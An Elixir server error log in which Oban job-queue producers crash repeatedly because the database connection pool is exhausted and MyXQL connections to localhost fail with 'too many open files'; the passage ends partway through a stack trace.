State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:42:03.242603Z], limit: 3, uuid: "eadcab7b-711c-486c-acd7-835dc996f361", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242608Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215469>, refresh_timer: #Reference<0.2525715032.1068498948.73187>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:42:03.242209Z], limit: 50, uuid: "1652decb-944d-448b-8b7a-5138f16335f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215468>, refresh_timer: #Reference<0.2525715032.1099431938.66734>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:42:03.242361Z], limit: 5, uuid: "9d15e89c-37dc-41e8-a217-d631049762a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242366Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215465>, refresh_timer: #Reference<0.2525715032.1121189889.215449>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:16.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:42:03.242036Z], limit: 20, uuid: "6203d11a-a3d6-469b-bd88-eb6546f5ab8a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242043Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66750>, refresh_timer: #Reference<0.2525715032.1099431938.66726>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:42:03.242151Z], limit: 5, uuid: "4430344e-4cc4-4719-a508-60e8b5e97d91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242156Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215467>, refresh_timer: #Reference<0.2525715032.1099431938.66727>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1856ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:42:03.242036Z], limit: 10, uuid: "cb48d466-e736-4cf8-97c2-041a6a69f5f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:03.242042Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.215466>, refresh_timer: #Reference<0.2525715032.1099431938.66735>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:20.335000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:21.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:23.738000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:24.860000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:25.603000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:28.222000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:42:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:42:16.242332Z], limit: 5, uuid: "9bf6d716-8f69-4c19-8951-4765bee96815", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.242337Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.49043>, refresh_timer: #Reference<0.2525715032.1121189889.215881>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:42:16.244773Z], limit: 5, uuid: "d6c6ab61-049b-4773-8ae2-13dd156151ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.244779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66845>, refresh_timer: #Reference<0.2525715032.1099431938.66832>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:42:16.242120Z], limit: 20, uuid: "aab07c25-d674-4f85-95c9-b7aa1420e96a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:42:16.242126Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.66844>, refresh_timer: #Reference<0.2525715032.1099431938.66792>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:42:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
